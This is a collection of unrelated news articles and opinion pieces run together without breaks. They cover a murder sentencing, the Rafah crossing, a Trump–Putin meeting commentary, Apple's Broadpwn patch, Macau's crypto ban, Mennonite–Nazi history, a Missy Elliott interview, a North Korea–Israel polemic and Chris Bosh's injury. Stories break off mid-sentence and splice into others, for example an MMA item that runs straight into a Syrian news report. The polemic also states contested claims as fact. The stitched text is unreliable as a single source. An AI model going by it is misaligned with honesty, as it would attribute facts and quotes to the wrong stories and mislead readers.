Forcing her back inside, he kicked in the door to Miss Huang's bedroom and ordered both women to lie on the floor, where he tied them up. He then moved the roommate to the adjacent bathroom and she watched as Ci beat and cursed the victim and went through her phone and emails looking for communications with the new boyfriend. Asking Miss Huang if she had any last requests, she replied that she wanted him to spare her roommate's life.
"This isn't murder. This is torture," said Ziegler. "In the face of all that, she has the presence of mind to say 'Do not harm my roommate.'"
Ci had shut the bathroom door before he began stabbing Miss Huang in the neck, but the roommate described hearing a "sawing" sound.
"This man is dangerous. He clearly planned to torture and torment the victim before her death," Ziegler said, adding that Ci was also prepared to kill the boyfriend and roommate.
Acknowledging the horrendous nature of the murder, Public Defender Randy Rosenbaum reminded the judge that Ci had no criminal history whatsoever and was in the United States legally from China to further his education.
"What we have here is a good person who has done something horrible," Rosenbaum argued, saying he was unable to answer why the student with a promising future would throw it all away.
But he told Ladd facts about Ci to try to show her another side of the convicted killer. Those included that Ci had been raised by a "demanding" father and an "abusive" stepmother, causing him to suffer from what a psychiatrist labeled an "attachment disorder."
Friends described Ci as "shy but kind" and helpful to others. They were shocked at the news and called his actions "totally out of character," Rosenbaum said.
Ci, who took medication for depression, had recently suffered a major setback in his mathematics research that meant "his dissertation work was falling apart after six or seven years."
And when Miss Huang decided to end their relationship in early September, Rosenbaum said, Ci "wasn't taking it well because she was getting over it quicker."
Ci will have to serve 100 percent of his sentence in an Illinois prison, then faces deportation when it's complete.Egypt's foreign minister said in an interview with Al-Jazeera on Thursday that preparations were underway to open the Rafah border crossing with Gaza on a permanent basis.
Egyptian Foreign Minister Nabil al-Arabi told Al-Jazeera that within seven to 10 days, steps will be taken in order to alleviate the "blockade and suffering of the Palestinian nation."
Palestinians at the Rafah border crossing before leaving the Gaza Strip to Egypt after Egypt opened the border in 2008 for two days. AP
The announcement indicates a significant change in the policy on Gaza, which before Egypt's uprising, was operated in conjunction with Israel. The opening of Rafah will allow the flow of people and goods in and out of Gaza without Israeli permission or supervision, which has not been the case up until now.
Israel's blockade on Gaza has been a policy used in conjunction with Egyptian police to weaken Hamas, which has ruled over the strip since 2007. The policy also aims to reduce Hamas' popularity among Gazans by creating economic hardship in the Strip.
Rafah's opening would be a violation of an agreement reached in 2005 between the United States, Israel, Egypt, and the European Union, which gives EU monitors access to the crossing. The monitors were to reassure Israel that weapons and militants wouldn't get into Gaza after its pullout from the territory in the fall of 2005.
Before Egypt's uprising and ousting of longtime leader Hosni Mubarak, the border between Egypt and Gaza had been sealed. It has occasionally opened the passage for limited periods.CNN National Security Analyst John Kirby is a retired rear admiral in the US Navy who served as a spokesman for both the state and defense departments in the Obama administration. The views expressed in this commentary are his own.
(CNN) On its face -- and under less suspicious circumstances -- there would be nothing wrong with President Trump having an impromptu side meeting with Vladimir Putin. Such meetings are a staple of big, global confabs like the G-20. Indeed, it is often during these more intimate discussions that real progress on contentious issues can be made.
But we can't afford to take anything regarding Russia at face value right now. Putin's malevolence and the Trump administration's repeated failure to come clean about their interactions with Russian officials -- including this one -- raise legitimate questions about where this most critical of bilateral relationships is heading.
So, yes, in that context, this hour-long pull-aside matters. And, yes, it warrants scrutiny. First of all, we learned about it through media reporting, specifically an interview by NPR's Audie Cornish of Eurasia Group President Ian Bremmer. The White House only acknowledged it when pressed by reporters following up.
Unless they're simply brief, chance encounters, meetings of this nature -- and certainly one between the President of the United States and the President of Russia -- are typically summarized by government officials. This readout, as it is called, accomplishes two things: it serves as a public record of the President's participation in the conference, and provides a way to advance his message about whatever issues were discussed.
That there was no overt acknowledgement of the meeting, let alone a readout, suggests either that the President's staff didn't know about it (troubling all by itself) or that the White House didn't want it known (more troubling, given ongoing investigations into Russian meddling in the 2016 election).
Of course, the only way the White House could produce a readout would be to ask the President to write it, because there was no one else present from the US side. Not a senior national security expert. Not a notetaker. Not even a translator. No one.
That's a problem.
Let's not forget how Mr. Trump once described the Russian leader and the risks inherent in trying to placate him.
Vladimir Putin, "of whom I often speak highly for his intelligence and no-nonsense way, is a former KGB officer," Trump wrote in his 2011 book, "Time to Get Tough." "No sooner did Obama move into 1600 Pennsylvania Avenue than he began making concessions and sacrificing American power on the altar of 'improving relations' with Russia."
The dubious charge against President Obama notwithstanding, one could be forgiven for thinking Trump would be more cautious. One might think he wouldn't undertake a discussion with Vladimir Putin, even impromptu, without a strategy and without the backup and support of informed senior staff, who could help guide him through any minefields Putin might lay.
And one should expect that Trump would not want to rely on a Russian government translator to make plain the points he was trying to make.
There's a reason we employ our own translators. You can rest easy that they will accurately and scrupulously convey the meaning of every word you utter. Don't have one with you? Go get one before you huddle with a foreign leader for anything more than a quick hello.
Whatever those two talked about -- and we will likely never know, because Trump is not likely to write his own readout -- it probably touched on any number of real and vexing issues between our two countries.
Even the White House suggested as much.
"Throughout the G-20 and in all his other foreign engagements," said a White House official defending the meeting, "President Trump has demonstrated American leadership by representing our interests and values on the world stage."
So, safe to assume they didn't talk about sports or the weather in Hamburg.
And that brings up another legitimate worry over this "warm and friendly" chat, as Bremmer described it. It can't really be private, or at least it shouldn't be.
Mr. Trump isn't a private citizen anymore. He's not a CEO. He's the President. That means he belongs to us, the American people. And that means when he talks to foreign leaders on our behalf (especially heads of state... especially the head of state of the Russian Federation... especially Vladimir Putin) there needs to be a record of it -- if not for public consumption now, then at the very least for historians later.
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In this case, only the Russians will have a record of it. It's hard to see how that serves us well. Because the record itself serves a greater purpose than just archival. It helps reinforce public trust and confidence in the institutions of government, in our very democracy. It reminds us that we are all Trump's employers.
Sen. Joe Manchin of West Virginia summed it up nicely this morning on "New Day."
"Transparency in the public sector is much different than in the private sector," he said. "When you're in the public sector you have to gain the trust of constituents, those for and against you."
Of course, some might argue that Trump doesn't much care about earning the trust of those he deems are against him. And those who support him don't much care about holding him to account for all this Russia business. They share the President's conviction that it's all just a witch hunt.
But that's beside the point.
The point is that if, as the President maintains, there is nothing to hide with respect to Russia and if, as he asserted in a tweet, there was nothing sinister about the meeting itself, then it should have been better staffed, disclosed and documented.
Doesn't seem like too much to ask.
That same White House official -- the one who wouldn't give his or her name -- said it was "not merely perfectly normal, it is part of a president's duties, to interact with world leaders."
Couldn't agree more. There's nothing at all wrong with Trump and Putin having another discussion. There might even be good to come from it. But it's also not perfectly normal for there not to be disclosure of it and an accurate accounting.Apple rolled out its latest iOS 10.3.3 update on Wednesday, and you should install it as quickly as possible if you haven’t already.
This release fixes a serious vulnerability in the Wi-Fi chips used in iPhone, iPad, and iPod touch, which allows an attacker to remotely take control of your device over a wireless network.
Like a lot of mobile devices, Apple’s use Broadcom chips for Wi-Fi connectivity. But it turns out that the BCM43xx family of chips, which is used in iPhone 5 to iPhone 7, the fourth-generation iPad and later, and the latest iPod touch, contains a serious vulnerability.
Dubbed “Broadpwn,” it allows an attacker to take control of your device while it is searching for a Wi-Fi network — even without your passcode or Apple ID. Your device simply needs to be within wireless range of the hacker, who can crash your phone or tablet remotely.
Apple wasn’t the only company affected by this; lots of others use Broadcom chips, too. Google rolled out an Android update to address the problem earlier this month, and now Apple has caught up with iOS 10.3.3.
The company confirmed in its release notes that a serious security flaw was fixed, but it didn’t mention Broadpwn specifically. Now CNET has confirmed that the exploit has been patched. If you use Wi-Fi (who doesn’t?), then you should update as soon as you can.On Wednesday, the Monetary Authority of Macau announced that financial institutions are prohibited from participating in or providing their services to cryptocurrency businesses and organizations that have undertaken token offerings (ICOs).
On September 27, 2017, the Monetary Authority of Macau (AMCM) published a notice that banks and payment providers in the autonomous region of China must avoid cryptocurrency customers. Financial institutions are barred from working with cryptocurrency businesses and entities pursuing token offerings (also called ICOs ). Banks and payment providers are also forbidden from participating in such activities. In the English version of Wednesday’s announcement, the AMCM recounted its previous statements about virtual currency. In a 2014 press release, the regulator declared that bitcoin is “a type of virtual commodity which is neither a legal tender nor a financial instrument subject to supervision.”
A gambling paradise, Macau is located on China’s southeastern seaboard. As the only region in China where gambling is legal, Macau receives an eye-popping 50 percent of its revenues from gambling tourism. At present, at least one company is attempting a multi-million dollar token offering for a gambling-related venture in Macau. Now that Macau’s financial institutions cannot support cryptocurrency businesses, early-stage crypto companies face a significant hurdle.Japanese legend Ikuhisa “Minowaman” Minowa (56-35-8) will fight for the 100th time as a professional later this year.
Officials from South Korea’s ROAD FC organization today announced Minowa will face an opponent yet to be named at ROAD FC 013, which takes place Oct. 12 at J.H. Park Stadium in Gumi, South Korea.
Fighting professionally since 1996, |
SANA reported.
Transport Minister Ali Hamoud told journalists on Monday that the Ministry finished all customs clearance, packaging, and transportation measures to ensure the arrival of the shipment without delays and under the supervision and standards of the Health Ministry.
Hammoud thanked the friendly country of Cuba for its keenness on supporting the Syrian people.
For her part, Deputy Health Minister Huda al-Sayyed said that the shipment includes 200,000 doses of vaccines, asserting that other batches will be sent soon.
Meanwhile, Cuban Ambassador in Damascus Rogerio Manuel Santana Rodriguez hailed the deep-rooted ties between Syria and Cuba, asserting that the two countries are facing a mutual enemy.FILADELFIA, Paraguay (RNS) Violence tore through this close-knit, traditionally pacifist community on the night of March 11, 1944. All the more remarkable, its perpetrators and victims were all Mennonites. And they all belonged to rival Nazi factions.
Since the end of the Second World War, Mennonite-Nazi collaboration has largely been ignored, forgotten or intentionally repressed. In Paraguay, members of Mennonite congregations were forbidden from discussing the matter.
In Paraguay and beyond, the Nazi episode has been taboo for adherents of this Christian denomination that was founded in 16th-century Europe on principles of nonviolence and nonparticipation in politics.
Not until the 1980s, when an international search for Auschwitz physician Josef Mengele brought unwanted attention to the German-speaking Mennonite colony of Fernheim in Paraguay’s remote Gran Chaco, did that taboo begin to weaken.
Now Mennonites and others are probing that past in a series of conferences, the most recent of which took place last weekend in Filadelfia, administrative center of the colony.
Spiritual healing, reconciliation and multigenerational guilt were prominent themes at the latest conference, titled “The Racialist Movement and National Socialism among the Mennonites in Paraguay.”
Some 200 participants gathered near the site of a brawl that had taken place exactly 73 years previously. They sought to bring into the open, contextualize and interpret events that remain painful even after they have mostly passed from living memory.
“Many have asked, why have a conference on this topic, more than 70 years after the events,” said Uwe Friesen, head of the Society for the History and Culture of the Mennonites in Paraguay. In his opening address, Friesen characterized the gathering as offering “the possibility of new understanding.”
Interest for this dark chapter in Paraguayan Mennonite life comes at a time when the global church is beginning to uncover a larger history of Nazi collaboration.
In 2015, the first academic conference on the topic took place in the German city of Münster, site of the 1534 Münster Rebellion that was crucial to the founding of the Mennonite faith. Historians revealed substantial pro-Nazi movements among communities in Canada, the Netherlands, Paraguay and Brazil. By the height of Hitler’s power, one-fourth of all Mennonites worldwide lived in the Third Reich.
RELATED: Mennonite Church coming apart over sexuality issues
The Münster conference was organized by Germany’s Mennonite Historical Society — itself founded in 1933 in part to support racialist research in the new Nazi state. President Astrid von Schlachta, professor of history at the University of Regensburg, called the event “a truly historical meeting.” The gathering “represented an open and nuanced discussion, in which we judged without condemning the context and experiences of Mennonites in the Nazi period,” she said.
Given Fernheim’s formerly pro-German stance — along with the arrival of thousands of Mennonite migrants from postwar Europe, including known war criminals — Nazi hunters considered the colony a likely hideout for Mengele. (He was eventually found dead in Brazil.)
Mennonite refugees from the Soviet Union had established Fernheim in 1930, receiving humanitarian assistance from the German government. Three years later, a majority were effusive in their praise for Hitler.
“With great excitement, we German Mennonites of the Paraguayan Chaco too participate in the events of our dear Motherland and experience the national revolution of the German race,” colony leaders wrote in a letter to the Fuehrer.
Nazi officials proposed that they return to Europe, citing Mennonites’ alleged blood purity.
Already, racial anthropologists had tested the Fernheim settlers, finding them more Aryan than the average German. Eighty percent were reportedly prepared to renounce pacifism and join Hitler’s “Home to the Reich” program, an undertaking thwarted by the outbreak of war.
Cut off from Germany, Fernheim’s residents disagreed about how best to maintain Nazi loyalty. A power struggle ensued that focussed on colony administration, control of the German-language schools and access to return transportation to the Reich. Young men gathered whips and clubs, and they severely beat six competitors. The unrest prompted intervention from U.S. diplomats and the Paraguayan military, ultimately leading to the banishment of several ringleaders.
“With great excitement, we German Mennonites of the Paraguayan Chaco too participate in the events of our dear Motherland and experience the national revolution of the German race,” colony leaders wrote in a letter to the Fuehrer
Three-quarters of a century later, Friesen hopes for healing. “It is important that we consider facts, that we analyze and present events in a way that builds peace, both drawing on and propagating our Anabaptist inheritance,” he said, referring to the pacifist theology once again prominent in Fernheim.
Attendees of the symposium — which featured historians from Paraguay, Germany and the United States — agreed that local tensions should be consigned to history. They also saw the gathering as part of an ongoing conversation.
Discussion will continue at a third conference, on “Mennonites and the Holocaust.” Scheduled for March 2018 at Bethel College in North Newton, Kan., the event is sponsored by Mennonite Church USA, the largest Mennonite denomination in North America.
New evidence has implicated some Mennonites in genocide. Especially in Nazi-occupied Ukraine, large German-speaking colonies drew favor from National Socialists such as Alfred Rosenberg and Heinrich Himmler. Local recruits bolstered death squads, which massacred tens of thousands of Jews in and around the settlements.
“Mennonites have typically seen themselves foremost as victims of violence in the 1930s and ’40s in Europe,” said Mark Jantzen, professor of history at Bethel, “but we hope the conference will document and analyze a much more complex reality that places Mennonites across a whole spectrum of responses, experiences and motivations, along a range of suffering violence to witnessing it and causing it.”
Organizers have called for papers detailing cases of Mennonites aiding Jews and other targeted populations, as well as instances in which members benefited from ethnic cleansing or themselves perpetrated war crimes.
The recent gatherings in Germany and Paraguay have demonstrated a willingness among Mennonites to forgive each other. “Making peace means living out and offering reconciliation,” Friesen said at Fernheim’s symposium.
But the greater and more ecumenical challenge is the church’s responsibility toward non-Mennonite victims of Nazism. The Mennonite World Conference has recently accepted apologies from Lutheran and Catholic bodies regarding persecution of Mennonites during the 16th-century Reformation. Questions of Mennonites’ own collective guilt — during the Nazi period and beyond — remain.
(Ben Goossen is a scholar of global religious history at Harvard University. He is the author of “Chosen Nation: Mennonites and Germany in a Global Era,” to be published in May)Perhaps you first stumbled across Missy Elliott via 1997's iconic The Rain [Supa Dupa Fly] video. Maybe you were one of those tweeting about the 'hot new female rapper' who appeared onstage with Katy Perry at this year's Superbowl. Either way, your first impression of Melissa Elliott would have been -- should have been -- immediate, mind-blowing, brilliant. Dispensing with any sort of pre-existing or accepted ideas of what artistry is and what it looks like, Miss Misdemeanour has been at the forefront of offering an progressive alternative to notions of beauty, femininity and creativity since her debut nearly twenty years ago.
She has rejected the idea of convention sonically, lyrically and visually and, during a time where artists love to bare all -- physically and metaphorically -- Missy stands as a singular icon and iconoclast. She never took her clothes off, she never slagged anyone off, she went out of her way to avoid attention (see: the time she let Britney take one for the team at the 2003 VMA's). She hasn't put her name to any and every brand (apart from Adidas, a label she clearly genuinely loves). You won't see her name on a bottle of booze, a book or bedsheets (although we'd buy them all immediately, obvs). Instead, Missy has quietly propelled music in many, many directions many, many times, whether through her own records, or as a writer and producer for artists such as Mariah, Little Mix, Mel B, Lil Kim, Aaliyah, Ciara and Tweet.
But she's been quiet of late. Apart from two low-key Timbaland tracks in 2012, her last official release was 2005's The Cookbook, which featured the almighty Lose Control, as well as appearances from M.I.A. and Mary J Blige, and production from Pharrell, a longtime friend who also hails from Virginia. Then the Superbowl happened and all hell broke loose. We were reminded (not that we needed reminding), not just how important Elliott was, but still is. Here she was performing to 118.5 million people, in a Wang cap, trademark hooped earrings and that brilliantly delightful grin plastered across her face, tearing it up with The Rain, Hot Boyz, Get Ya Freak On and Lose Control, transporting us back to a time before Instagram, before selfies, before memes.
Since Feb 7, 2015, there has been something in the water -- a Missy-sized shift in the air. She began to tease a collaboration with Skateboard P back in Feb, but things went a little quiet until early October when it was announced she's collab'd with Janet Jackson on BURNITUP! Finally, on Thursday, she dropped the WTF (Where They From) video (which has 10.5m views and counting), and the internet began to melt. With references to both 1997 and 2097, WTF is a triumphant return with a track that manages, in true Missy style, to reflect fondly on the past while ruminating firmly on the future. The video has already seen numerous news stories and a number of think pieces, as people praise the Segway studded, puppet-laden clip. Creative on WTF, Missy tells i-D, began back in March 2015. That's how seriously she takes her visual aesthetic and that's how little she was prepared to rush her return.
"I needed a break," Missy admitted, during a short but sweet phone call to i-D on Friday. In this exclusive interview with the rapper, producer and writer, Missy tells i-D how she messed up her weave with nerves before WTF dropped, why she (quite literally) bleeds for her art and why we all need to thank Pharrell for her return to rap…
Missy! Whereabouts in the world are you right?
I'm in New York, where the horns blow, where people got places to be. I'm here!
How have you felt about the reactions so far to WTF?
I'm so humbly grateful. The night before it came out, I felt like a child waiting for Santa Claus to come down the chimney. When I tell you I was having anxiety and everything! I just hoped everyone liked the video once it came out. I thank god and I thank Pharrell, and Dave Meyers and Hi-Hat. Without them, it couldn't have been possible.
You haven't dropped a project of your own since 2005's Cookbook. Was the pressure greater because it had been so long?
Oh the pressure was definitely more! When me and Tim put out those records [9th Inning and Triple Threat], you know, we just put them out, that's why we never put a video out. But this time the pressure was really on because I knew I had shot a video so now it wasn't just about, 'Are they gonna like the record'. I knew that people know me for my videos and so the expectation from those who grew up on my music was high. My goodness. I swear to God, I felt like I sweated out my tracks the night before the video dropped! My weave was messed up waiting for this video to come out!
So why now? And how much did the Katy Perry Superbowl performance affect your decision to return as a solo artist?
I can't remember where I was, but my manager called me and said 'Would you like to do the Superbowl'? I was sat there looking at the phone like 'Did she just say the Superbowl'? I felt like, who turns down the Superbowl but then, why would I be doing the Superbowl at this point? I don't have anything out, but I'll do it. She said 'Katy Perry wants to speak to you, she wants you to perform with you'. I immediately thought that she would want me to perform Last Friday the record that we did together. So when me and Katy got on the phone, she said she was a fan of my work and that she wanted me to perform, but to perform three of my records. First of all, I can't thank her enough. A thousand thank you's wouldn't be enough. She allowed me to perform my records, on her set and she said 'If you have a new record, you should perform it, this is the time to perform it'. At the time I had some records but I didn't feel as strong about them. I said I'd rather go out there and give them the classics. She was like 'Are you sure, this will have a huge amount of viewers'. She really gave it over to me, but I decided to do the old classics. I've performed for some of the biggest crowds but the Superbowl has to be the scariest moment - besides waiting for this video to drop (laughs). That was a nervous moment for me.
But why now? Is the record part of a bigger Missy project to come?
Well, Pharrell hit me. He had hit me before the Superbowl, we had performed at the BET awards [in 2014], and after the Superbowl, he hit me up like 'Yo, what are you doing?' I was basically in the house cleaning! I had gone back to my normal life. I was in the house vacuuming, walking my dogs -- after the Superbowl, I'm just acting normal. He said 'I'm not trying to push you, but people miss you. Do you see what happened out there? Have you seen the charts'? I think I was still in shock. It still hadn't registered. He was like 'I want to get in the studio with you.' Who turns down Pharrell? He flew me to LA and he put me up and we got in the studio and he said 'Yo! I got this crazy beat'. You know, Pharrell, he's very zen, very yoga, he's such a sweetheart. But this time, he was straight from the hood, like 'Yo, I got this crazy record for you, I already wrote my rap, I gotta get your bars now'. So he played it and once he played it, it was like 'Oh my goodness' He said 'I know you gon' kill it'. I said, 'Well, let me take it home and live with it'. When something is so hot, I don't want to just jump on it right away, I want to take it home and make sure I give it my best shot. He said 'Listen, just remember who you are. You've always been fun and animated and you have always made people want to dance. Look in the mirror so you can know who you are. It's time. It's your time.' That's how it happened. Once we did the record, I knew it was time to shoot a video. The puppet idea I had seen somebody do on the street. I held onto that idea for five years because I didn't have a record that matched that idea. So I showed Pharrell the clip I had, and he said 'You know you got to do a video for this'. Believe it or not, we have been making this video since March. The puppets themselves took two and a half, to three months to make. It was very detailed. We had people from StarTrak working on this video, so it was a lot.
What's the concept of the video?
It started with the puppets. The facepaint came from my make-up artist. The box scene came from Dave and the way that facepaint turns around is another Dave creation. We collectively knew it had to have some kind of iconic outfit. We all came up with the glass outfit, which was the hardest thing to wear because it was really cut up glass so I was bleeding and everything! I was so agitated but I had to get it done.
You really suffered for your art…
Well, every video I have suffered. I was bloody and bloodied. There was blood everywhere!
There's a line in WTF that says 'Don't give up when people doubt you' and you mentioned it took Pharrell to enforce upon you the impact you've had on popular culture. Did you lose your confidence? Did you feel that you no longer had it in you to continue to make music?
Oh most definitely. Definitely. I never stopped recording, but I went through a period where… the one thing that a lot of people don't know is that for as long as I've been as artist, I've been a writer and a producer. So I've had to write and produce for other artists and then maintain my sound and myself as an artist. So all that time, I was doing Missy and also making sure I was giving all of these other artists a different sound too. That was hard for me. At first it wasn't but then when it started piling up on a plate, it was tough. A lot of people don't do this. You can count on a couple of hands probably how many artists also produce and write, both for themselves and for others and are able to be successful at both things. So I needed a break. But in that break I felt like I lost time. Then I ended up getting sick [Missy was diagnosed with Graves Disease in 2011] but then, yeah, it was a time where I felt like 'Do I still have it'? Especially when you see a whole new slew, a whole new generation of kids, come through and the music is not like how it was. I felt like, 'How do I fit in'? I'm battling. But then I never fit in! The whole time, I've never fit in! But it was still that battle. Do people still want to hear something creative and risky at this point? People might not be accepting of your music. So I battled that and I thank god for somebody like Pharrell who stayed in my ear. For him, at that time, Happy was everywhere, he didn't have to share anything with me. He said to me, 'You call me any time you feel like that, because I have went through that same thing in my life and I want to make sure I pull you up. I've been there and I know what that feels like'.
What do you think of the state of the music industry in 2015? There's some very big personalities making a lot of noise: Adele, Rihanna, Kanye, Justin, Miley, Taylor. What are your thoughts on the current climate as a whole?
I think the music industry, it's a lot of great artists out there. I must say that. Adele, she's most definitely killing the right now. I understand someone like a Rihanna. She's a superstar, I get it. Beyoncé, well she's from our era, and she's beyond that! What I love about Kanye is that he doesn't fit the mold either. He does what he feels. People might look at him like, 'Kanye at it again', but I can respect the fact and I can tell when he does his music it's not 'I'm doing what's hot right now'. That's what I felt in the studio. So I can appreciate artists like that. People, I think they are fiending for more of that, that's why Adele could take that rest and come back. That's how it used to be. She's shown people that when you've got talent, those solid fans will wait for you. So, yeah, it's a lot of great stuff out there.
@MissyElliott
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Text Hattie CollinsMissing from corporate media accounts is what causes the Democratic People’s Republic of Korea (DPRK aka North Korea) to be singled out for opprobrium for what, essentially, is developing a deterrent against any entity that would attack it.
A comparison with how the United Nations deals with North Korea vis-à-vis another member state state, Israel, is instructive.
Israel occupies Palestinian territory; destroys Palestinian olive groves and poisons Palestinian sheep; sprays Palestinian homes with sewage; sabotages Palestinian water supplies; cuts off power to Palestine; terrorizes Palestinians for hours at checkpoints, including the sick, infirm, and pregnant women, some who are forced to give birth at the checkpoints; stops fishermen from earning a living from the sea; shells hospitals, schools, and playgrounds; blows up kids on beaches; and commits myriad other war crimes. Israel has nuclear weapons and ICBMs. The last point is the only one that North Korea shares with Israel.
Yet only North Korea is vociferously criticized and sanctioned by the US and its allies. Is this fair?
And is it just that North Korea is bullied and sanctioned for developing a self-defense?
Creation
Israel was brought into existence by the UN granting Palestinian land from Mandate Palestine to Jews, who happened to be mainly migrant Jews from another continent – Europe.
North Korea was created by World War II victors, predominantly the United States, splitting a country into two halves. Thereby, one ethnic group was separated from the other by a border.
Occupation
Whereas the Koreans are indigenous to Korea, Americans are occupying the territory of many Indigenous nations, as are Jewish Israelis (with the exception of Mizrahi Jews) occupying Arab territories.
Israel signifies a situation whereby one group of outsiders was favorably positioned by the UN to carry out an occupation of an Indigenous people.
The DPRK signifies a situation where a people indigenous to a territory were separated from kin by an outside entity. The self-determination of Koreans was not respected.
Notably, the US came into existence as a colonizer, a colonial-settler state, that remains in occupation of the territory of many Indigenous peoples; this includes the Hawaiian islands, Puerto Rico, Guam, Saipan, and other islands of Micronesia, the Chagos archipelago, etc.
The Role of the UN
Over and over again, the US and NATO ideologues describe the DPRK as a threat. Why? What country has DPRK ever been at war with other than an internecine conflict with the Republic of Korea over half a century ago, a war into which the US inserted itself and the United Nations provided diplomatic approbation. Since the preamble to the UN Charter stated its determination to allay future generations from experiencing the scourge of war, what could be more hypocritical than for the UN to authorize war against another UN member?
The scope of the tendentiousness of the US and UN becomes fully transparent when the case of Israel is considered.
The case of Israel is another blight on the UN as it abnegated its Article 1 which calls for “respect for the principle of equal rights and self-determination of peoples.” The people of Mandate Palestine were not permitted self-determination, and the land was carved up. The Palestinian majority wound up with 42 percent of the land, the Jews were gifted 56 percent of Palestinian land, and Jerusalem was designated an international city. Palestinians rejected the plan. Subsequently Jews ethnically cleansed Palestinians from the land, waged wars, built settlements in occupied Palestine, and erected an illegal wall that has rendered the remainder of Palestine into discontiguous bantustans.
Israel has hardly been a sterling member of the UN, and the list of UN Resolutions targeting Israel is long. The list would be much longer were it not for the US wielding its veto power in the UN Security Council.
If indeed the UN is handling similar issues differently depending on who the member states are, then a question arises: How is the supposed neutrality and image of the UN as an honest arbiter affected by its differential treatment of members? And: What impact does this have for international justice?
Israel’s Wall and the DMZ
The World Court has ruled the Apartheid Wall (Wikipedia calls the 650-700-km structure that reaches a maximum height of 8 meters and cuts through much of the West Bank the “Israeli West Bank barrier”) to be illegal and ordered it torn down.
William Parry’s picture book — Against the Wall: The Art of Resistance in Palestine (Pluto Press, 2010) — vividly drives home the oppressor-oppressed dynamic. The book portrays Israelis separating Palestinian families from one another, Palestinians being prevented from tending to their crops, Israelis inflicting economic deprivation on Palestinians, Israelis targeting of school children, and Israelis intended humiliation of Palestinian workers passing through checkpoints in the wall. Against the Wall also depicts the spirit, art, and determination of the Palestinian resistance, the anger of the occupied people, and messages to the world.
In the case of Israeli Jews, the wall is their statement of desiring separation from Palestinians. In stark contrast, the 38th parallel on the Korean peninsula is a demilitarized zone forced by Americans on Koreans, many of who still desire reunification.
With the defeat of Japan looming in the closing days of World War II, the division of Korea was decided at the Potsdam Conference. North Korea states, “[T]he Korea question was decided according to the interests of the United States … contrary to the requirement and demand of the Korean people.” Koreans also blame Japan for the separation:
Had the Japanese not occupied Korea, the United States could not have interfered in Korean affairs and the question of the 38th parallel would not have come into being. Therefore, Japan also takes blame for the division of Korea.
Nukes and ICBMs
Although undeclared, it is well known that Israel has a nuclear arsenal, yet it escapes censure by the US and sanctions by the UN.
One might inquire how a state like the US with its huge stockpile of nuclear-tipped ICBMs has standing to criticize other states for doing what it does? Does this not pose a moral quicksand for the US? Also why does the US elude censure for not abiding by article VI of the Treaty on the Non-Proliferation of Nuclear Weapons?
Some Questions
If outsiders had allowed Koreans to decide their fate, if outsiders had not forcibly split the Korean peninsula, would Koreans be agitating, fighting to unify the Korean peninsula?
If Palestinians had been able to determine and control immigration to their country, as is the case for nation states everywhere, would they have allowed a group of outsiders to establish an exclusive state for that group’s people negating their own state?
If the answer to both questions is no, then why are the Palestinians and North Koreans demonized for decisions made by outsiders that denied them their natural rights?
Conclusion
On the one hand we have a self-designated Jewish State that was carved out from a landmass colonized by Britain. Britain passed the matter to the UN which took a chunk of the land and gave it to others, without the consent of the Palestinian people who for millenia have lived, loved, played, worked, and farmed there. Israel, the Jewish state, ethnically cleansed 800,000 non-Jews from the land and later expanded its non-declared borders. Israel is clearly a racist state. All this was with the acquiescence of the US. Israel has been in contravention of several UN resolutions, in violation of the Geneva Conventions, and has never been sanctioned by the UN. In addition, the US has exercised several vetoes in the UN Security Council to protect Israel from censure. As well, Israel became a nuclear-armed state with ICBMs. Does the US demand sanctions against Israel? No, it lavishes billions upon Israel each year; currently running at $3.8 billion a year. Most of this “aid” is in the form of military assistance — which is being challenged as violating US law against supporting secret nuclear states.
Korea, the state of the Korean people, saw its people separated into the two halves of the peninsula. This again was imposed from the outside, without the consent of the Korean people, chiefly by the US. North Korea has committed no acts of ethnic cleansing. On the contrary, it was the victim of major devastation caused by the US when the latter intervened in a civil war, committing numerous war crimes. The US threatened North Korea with nuclear weapons during the war on the Korean peninsula, had nuclear weapons stationed on South Korean soil for several years, has nuclear-armed warships docking in South Korea, has nuclear-armed warplanes and nuclear-armed submarines stationed in nearby Japan. Yet North Korea, in stark contrast to Israel, is singled out for the severest vitriol from the US and its western allies. The UN bends to the US through its Security Council imposing sanctions on North Korea although it has attacked no other country. It has pursued nuclear weapons and ICBM capability as has the US, Israel and the seemingly hypocritical China and Russia, the latter two nuclear states having voted for sanctions against North Korea.
A simple analogy should suffice: If a bully — much larger than you and who has used unrestrained violence against you in the past — threatens you with a gun, would you want to face the bully without a gun?
Is there a moral principle that would posit that North Korea should face the mightily armed US, a US which rejects peace with North Korea, without a deterrent to attack against it?
Unless one can reasonably answer yes to the preceding two questions, then the punitive actions targeting North Korea should cease immediately. If actions targeting any entity are required, then how about targeting the entity/entities that caused North Korea to seek a nuclear deterrent?
First published at Global Research.Getty Images
Chris Bosh is dealing with a calf strain that has forced him to miss the Heat's past eight games. Bosh will return for Miami's game on Monday vs. Orlando.
Continue for updates.
Bosh to Start vs. Magic
Monday, Dec. 29
Ira Winderman of the South Florida Sun Sentinel announced Bosh will start tonight against the Orlando Magic:
The Heat provided a statement from head coach Erik Spoelstra on Bosh's recovery:
Bosh later spoke about his injury and return via the Heat:
Yesterday, Winderman also reported that Bosh went through a full practice:
Bosh Remains Out With Calf Issue, Misses Eighth-Straight Game
Saturday, Dec. 27
Ira Winderman of the South Florida Sun Sentinel reports that Bosh remains out for Saturday's game:
It is Bosh's eighth-straight missed game as he continues to recover from a calf injury.
Bosh Speaks on Recovery, Return, Treatment
Sunday, Dec. 21
Joseph Goodman of The Miami Herald passed along comments from Chris Bosh as he tries to recover from his calf injury:
Bosh Could Miss a Few Weeks
Monday, Dec. 15
Joseph Goodman of the The Miami Herald later reported more on Bosh's status:
Heat forward Chris Bosh indicated after Sunday's loss to the Chicago Bulls that he could be out for a while. The Heat plays the Nets on Tuesday in Brooklyn and Bosh is doubtful for that game, but he could be out a few weeks. Bosh missed the game against Chicago with a strained calf, and he's not sure when the injury occurred. That's troubling news. Bosh hadn't missed a game this season until Sunday, and he pointed to simple "wear and tear" as a possible reason for the strain. He added that precaution and rest are the two most important things for him right now. If he tries to play through the injury, he said it could worsen and "the muscle could tear away from the bone." "It's disappointing," Bosh said. "Usually you know when something gives and you kind of feel it over the course of a game and you can point to a specific play when you felt something tweak, or whatever, but unfortunately that didn't happen for me. I guess it's a wear and tear thing. It kind of sprung up on me, and you just have to deal with the tough times right now."
Bosh Out vs. Bulls With Calf Strain
Sunday, Dec. 14
Miami Heat star Chris Bosh is dealing with an apparent calf injury that is keeping him out of Sunday's matchup with the Chicago Bulls.
K.C. Johnson of the Chicago Tribune passed along further information:
